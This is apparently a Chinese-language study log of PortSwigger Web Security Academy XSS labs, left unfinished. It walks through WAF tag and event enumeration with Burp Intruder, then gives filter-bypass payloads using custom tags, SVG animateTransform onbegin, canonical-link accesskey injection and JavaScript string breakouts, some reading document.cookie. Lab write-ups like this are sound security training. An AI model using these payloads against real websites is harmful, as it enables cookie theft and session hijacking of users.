目录
三.Reflected XSS with some SVG markup allowed
四.Reflected XSS in canonical link tag
五.Reflected XSS into a JavaScript string with single quote and backslash escaped
一.Reflected XSS into HTML context with most tags and attributes blocked
要求:在一个通过web应用防火墙(WAF)过滤了大多数常见标签和属性的搜索框中,执行一次无需用户交互的反射型XSS攻击,从而成功调用print()函数
1.尝试常规payload
<img src=1 onerror=print()>
tag is not allowed,需要寻找绕过路径
2.使用Burp Suite的intruder扫描哪些标签未被拦截
1)打开拦截,在搜索框中填入任意字符发送,然后将拦截到的包发送给intruder
2)测试哪些tag是被允许的,注意需要在tag外面加上尖括号<>
3)payload在PortSwigger里找,xss cheat sheet
4)开始攻击,可以看到大部分被过滤的标签,返回的状态码是400,从中发现body没有被过滤
5)测试body标签下,哪些事件属性未被拦截
将搜索设置为事件的位置,%20是空格的url编码,然后再从xss cheat sheet中复制事件到payloads
search=<body%20§aaa§=1>
6)开始攻击,可以看到大部分被过滤的事件,状态码都是400,从中发现onresize没有被过滤
3.构造攻击代码
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
解释:这段代码的作用是构造一个自动触发 XSS 的iframe
,通过精心设计的 URL 参数注入 HTML 元素 <body onresize=print()>
,然后再通过 iframe
的 onload
事件将其宽度设置为 '100px'
,从而强制触发 <body>
的 onresize
事件,最终执行 print()
函数
二.Reflected XSS into HTML context with all tags blocked except custom ones
要求:所有标准HTML标签都被过滤,只允许使用自定义标签,利用这一思安绕过过滤器,并自动弹出document.cookie
1.由于拦截了所有标准HTML标签,我们应该自定义标签(<abc>,<xss>,<custom>等等任意字符),虽然这些标签没有功能,但是浏览器仍渲染他们,并允许绑定事件
2.使用onfocus(获得焦点时执行)+autofocus(页面加载时自动获得焦点)实现自动触发,设置tabindex=1使该元素可聚焦
3.完整payload
<xss onfocus=alert(document.cookie) tabindex=1 autofocus>
4.构造URL,发送给受害者
<script>location = 'https:/YOUR-LAB-ID.web-security-academy.net/?search=<custom onfocus=alert(document.cookie) tabindex=1 autofocus>'</script>
三.Reflected XSS with some SVG markup allowed
要求:页面过滤了常见HTML标签,但仍然允许部分SVG标签和事件属性,我需要构造一个不需要用户交互的XSS payload,使浏览器自动执行alert()
1.找到允许的标签:可以使用animatetransform
它是 SVG 中用来对图形进行变换(如旋转、缩放、平移)动画的标签,属于 SVG SMIL 动画。
2.找到允许的事件:可以使用onbegin
当动画开始播放时,onbegin
事件就会触发。我们可以利用这个特性来执行恶意 JavaScript,如 alert(document.cookie)
3.构造攻击
<svg>
<animateTransform attributeName="transform"
attributeType="XML"
type="rotate"
from="0" to="360"
dur="1s"
begin="0s"
repeatCount="1"
onbegin="alert(document.cookie)" />
</svg>
解释:begin设置为0s自动播放,动画开始时触发JS,执行alert()
四.Reflected XSS in canonical link tag
要求:利用反射型XSS漏洞,通过向canonical链接标签注入javascript属性,触发alert()函数,假设攻击者可以利用的模拟快捷键(ALT+SHIFT+X、CTRL+ALT+X、Alt+X)来触发攻击。
1.通过特定快捷键可以触发onclick事件,构造以下代码
accesskey='x'onclick='alert(1)
解释:通过特定的快捷键(例如 Alt+X
),可以激活包含恶意 onclick
事件的元素,从而执行 JavaScript 代码。
2.观察我们控制的变量的位置
应该闭合href,所以前面加一个单引号'
3.完整的构造
?'accesskey=%27x%27onclick=%27alert(1)
五.Reflected XSS into a JavaScript string with single quote and backslash escaped
要求:用户输入被反射到 JavaScript 中的 单引号字符串内,同时对 '
和 \
进行了转义处理。我们需要通过构造特殊的 payload 来跳出字符串并注入 JavaScript 代码,从而在浏览器中自动执行 alert()
函数,完成反射型 XSS 攻击。
1.首先,输入任意字符串,截取包,并观察response
可以看到我输入的abc在script里面
2.尝试做一些攻击,输入<script>alert(1)</script>
看起来<script>中一些字符被转义了,并不是我们想要的
3.直接闭合原本的script块,那么可以避免字符被转义,直接被执行
</script><script>alert(1)</script>
六.Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
要求:反射型 XSS(Reflected Cross-site Scripting)漏洞,在网页中注入 JavaScript 代码,实现 alert()
调用,其中某些危险字符被转义
1.直接写入攻击代码,观察返回的形式
可以看到,尖括号都会被转义,所以无法使用<script>
2.所以考虑直接在原本的script块中执行,闭合原本的字符串
\'-alert(1)//
解释:我们可以观察到单引号会被转义为反斜杠+单引号,所以前面加上\',使得原本的字符串可以正确闭合,然后用减号分隔使得alert(1)执行,后面加上//注释掉后面的单引号
七.Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
要求:存储型XSS漏洞,出现在网站的评论功能中。当评论者的名字被点击时,调用 alert()
函数
1.首先,随便填写一些信息,查看这些信息的位置
可以看到我输入的website在href和onlick里面,可以通过构造website来进行攻击
2.构造payload
http://myene.com?'-alert(1)-'
解释:加上?'使得前面的字符串闭合,用减号分割,加入执行的函数alert(1),再用减号分割,加上单引号,与后面的单引号进行配对。
发现单引号被转义了
3.修改单引号为&apos;,这是一个字符实体,可安全的表示一个单引号
http://myene.com?'-alert(1)-'
八.Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
要求:本实验中的 XSS 漏洞发生在 JavaScript 的 模板字符串(Template Literal) 中,即被反射的用户输入嵌入在反引号 `...`
中,同时,应用对常见危险字符进行了转义。构造输入使得在这种结构中成功注入并执行 alert()
(持续更新,2025.5.3)